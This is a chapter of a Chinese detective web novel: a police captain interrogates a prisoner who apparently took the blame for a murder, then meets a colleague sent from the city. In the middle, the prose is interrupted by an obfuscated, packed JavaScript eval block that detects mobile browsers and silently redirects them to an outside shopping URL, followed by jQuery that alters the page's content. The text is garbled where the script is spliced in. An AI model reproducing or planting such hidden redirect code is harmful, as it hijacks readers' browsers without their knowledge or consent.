“孙雾这几天精神气越来越不佳,送进去的饭不吃,甚至有一次看到他把塑料牙刷掰断磨尖,想自残,还好被巡逻的狱警的给发现了。”
两人去往监狱宿舍的路上,原安边走边和姜白元说。
她有些担忧,“虽然加派了一个人看着,但他自己想活的兴致不高,也不可能二十四小时严加看管他。”
姜白元穿着棕色风衣,肩头还落了些未融化完的雪渣,她双手插进了兜里暖着,神情平静,“他当然得弄些动静,不然怎么知道我们到哪一步了。”
“是这样么......”原安若有所思。
“顶替人入狱,甚至还是杀人的罪名,不懂到底跟真的杀人犯交易了什么,能这么心甘情愿葬送自己的人生。”
闻言,姜白元侧看向原安,“那批八谭村的证物还有检验成果,什么时候能到?”
“今天吧,肖肖他们已经出发了。”
姜白元点点头。
从八谭村回来后的一个星期里,姜白元怕数据被人掉包或造假,让肖肖和小李全程盯着没离开过视线。
她总觉得的他们做的每一步都被人看着,甚至之前听村民说的那些话,感觉很早之前这些事就已经在计划当中了,有人比他们提前一步做好了一切。
如果不是村长贪财怕死,她也不会套出里面的话,能得知孙雾家在发生变故之前,有过一笔不知道谁给的横财。
这些事之间要是有关联的话,万若的死只会是一个浮在表面吸引人注意的关键点,真正要查的,是水下面深不见底的黑暗。
安水也算是个古城了,早年间没发展起来,现在经济平平,很多设施没得到完善升级。
监狱里非常的冷,比外面的下雪天还冷,吐息间都冒着白雾,冻地人走路都不利索。
廊道挺狭小,走路都有回声,天花板每隔几米就挂着一长条白炽灯,但落了层薄薄的灰,不是很亮。
狱警在前面带路,姜白元和原安就跟着后面走。
铁门打开一个长方形的口子,从里面能看到孙雾躺在下床蒙头睡。
“他今天这样还算好的。”狱警挠了挠头,说:“上次被抓到他要自残以后,牙刷杯子一类塑料都是在他要洗漱完就收走的,我们已经加强看管了,一没动静就得进去看。”
姜白元:“我知道,辛苦了。”
两个狱警将孙雾喊起来,带到了审讯室。
男人已经有半个月没打理过自己了,胡茬长了一圈,头发凌乱,嘴唇干裂到出血丝,坐下来后看着姜白元。
“好久不见了,警官。”他声音有些沙哑,“终于把你盼来了,我很想念您呢。”
虽然语气看着很阴暗,但声音却很小,弓着身体,低眉眼色不坚定,看起来没攻击性的样子。
他依旧维持着汪正的人设,这让姜白元心里很复杂。
这也只是汪正表面的人设,或许是想让别人不那么关注他,毕竟他家里有三个哥哥,家族产业又涉及到很多方面,原本这些东西不会轮到他的,可三个哥哥意外都一一出事走了,不争不抢看着不厉害的汪正却拿到了继承人的位置。
可真正的汪正是这样么?
尾随姜白元从安水到八谭,两次杀她都失手,这两次里,汪正没有一次是这种人设。
她在想,他是只学到汪正这一面,还是知道只有这一面。
“给你带来了个好消息。”
姜白元靠着椅背,开口说:“我们找到了一笔你爷爷给你留的遗产。”
“我爷爷?”
他面不改色,“他早死了,我没见过他。”
“好吧,那么我重说一遍。”姜白元换了个说法,“我们找到了一笔孙雾爷爷给孙雾留的遗产。”
孙雾没吭声了。
姜白元:“你不是没料到这个,因为连你也不知道。”
看着他跟汪正百分百相似的脸,姜白元毫不留情说,“不知道你为什么会这么心甘情愿,但我敢保证,最后你谁都不会保住。”
孙雾捏着自己的衣角,装出一副局促不安的样子,低声道:“警官,我认错了,杀人偿命,我愿意去死。”
姜白元笑了一声。
把死说得那么轻巧,想活着的人却要拼尽全力。
“我不指望能从你嘴里套出什么话,毕竟你都顶罪了肯定也是做好了万全的准备。”姜白元声音低沉,眸色却没之前那样看着还算好说话了:
“告诉你背后的人吧,让她藏好了。”
————
姜白元早上起来就有些偏头痛了,回到办公室后喝了点热水也不见好转。
肖肖小李在她们出监狱不久就到警局了,钱按照姜白元的吩咐,还给了孙雾,毕竟收集完证据后就没用了。
她垂眸看着桌面的白字黑字,肖肖站在旁边说:“钞票放的时间有些久了,技术人员从上面提取到一些指纹,排除掉姜队你说的人,也就剩下这两个人了。”
她指尖点了点白纸上面的两个人像,说:“两个都有共同点,就是都在同一家做过保镖,一个前几年就已经死了,一个现在就在安水。”
“给谁做过保镖?”姜白元问。
“汪晟,也就是汪正的爸爸,不过是十二年前的事。”
照片上的男人叫李东,今年四十三岁。
姜白元:“身份地址到时候发给我。”
“好。”
肖肖走后,她还想去找许骆问问有没有备头疼的药,刚起身,办公室门就被敲响了。
‘哐哐哐’
“我找你们姜队。”
声音很熟悉,很清朗的男音,姜白元朝门口方向看去——
一个年轻俊朗的男人穿着显眼,黑色夹克马丁靴,头上还别致的带了个黑色墨镜,挂着放荡不羁的眯眼笑,看着就不像正经人。
办公室里就四个人,除了姜白元全是之前的前辈们。
杨严飞最先探出头来,挑眉朝他吹了声哨,“哟,来了个帅小子,找我们姜队不用站门口,天多冷,进来聊。贵姓贵庚啊,有预约么。”
“哈哈,没预约就不能聊了?老杨你小心给人吓跑。”
“能聊能聊,帅就能聊。”
“我昨天跟你们说什么来着,冬天到了,春天也......唔——”
姜白元顺手从桌上拿了一个包子,走过去的时候塞进了杨严飞嘴里,低声警告,“我要告诉嫂子,你每天上班除了聊天就是聊天。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718467|207220||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
杨严飞:“唔唔唔。”
姜白元松开手,朝男人走去。男人并不觉得有什么,眯着眼睛笑,朝几人鞠了一下躬:“我是余烁,市里派下来跟进新婚杀人案子的,各位多多关照啊。”
“关照关照,我就说长得这么正气嘛,穿得也好看。”
“是。”余烁笑着说,“穿得好看点能给姜队留个好印象嘛——”
下一秒就被姜白元推出去,他‘哇’了声,差点撞到走廊的墙,肩膀靠在上面,假装龇牙喊痛,“要不要使这么大劲啊姜队。”
姜白元关上门合上百叶窗,挡住了里面三个人八卦的眼神。
“再装。”姜白元冷酷无情。
“我没有装啊。”余烁脸上笑意不减,稍微站直了身体一点,“我好歹是来帮忙的,你作为东道主竟然这么凶。”
姜白元上下打量他,蹙眉,“你是正经来帮忙的?”
“怎么不正经了?”
余烁转了一圈展示自己的穿搭,“看多帅,我新买的,保证一出场就能迷晕所有人的那种。”
他得意道:“外面还有我新买的机车呢,帅呆了,眼睛都看直了吧。”
“车停哪了?”姜白元问。
“外面啊,就你们大门靠树的地方。”
“那不让停车,谁停收谁。”
安静一秒,余烁爆发出‘靠’的一声,冲出去挪车。
回来的时候精心打理的发型已经乱了,头顶的眼镜歪到差点掉下来。
姜白元把今天肖肖他们带回来的资料信息给他,“这些就是我们这些天收集到的证据,这个案子不好查,想必你被派下来之前就已经听说过了,基本能查的东西都被人为的破坏掉了。”
“所以下一步我们去找这个人?”余烁大致扫了一遍问。
“嗯,地址我晚点发你,可能明天就去。”
“好。”余烁点点头,把资料还给她,笑着说,“你还没吃饭吧,都五点了,要不要去吃你最爱的包子铺,我开车带你?”
余烁大学跟她是一个警校的,之前追过她好长一段时间,摸清了她所有的爱好,后来毕业后大家各奔东西,虽然有在联系,但已经很久没见了。
就连他被派下来帮忙这件事,姜白元也是昨晚才知道。
姜白元看了一眼窗户边,思索片刻,反正回家除了点外卖和吃冷饭,也没什么了,倒不如出去吃一顿。
两人走出警局的时候,天空黑沉沉,有些暗暗的蓝调,又开始飘悠悠下起了雪。
有片雪花落到她的鼻尖,姜白元正要抬手去抹,动作突然地一僵。
余烁注意到:“怎么了?”
在不远处的马路对面,一辆车飞驰而过。姜白元看到有个穿着黑衣撑着黑伞的男人站在那里,伞檐微微倾斜着,遮住了他的脸。
身材修长笔挺,雪花落不到他伞上,站着一动不动,看着清冷疏离。
“你在看什么啊?”余烁朝她的视线看过去,那里什么都没有。
“没什么。”姜白元声音有点低,“我想起来今天还有事。”
“啊?”
“先走了,明天见。”
她说着,低着头手揣兜里,抬脚走向对面。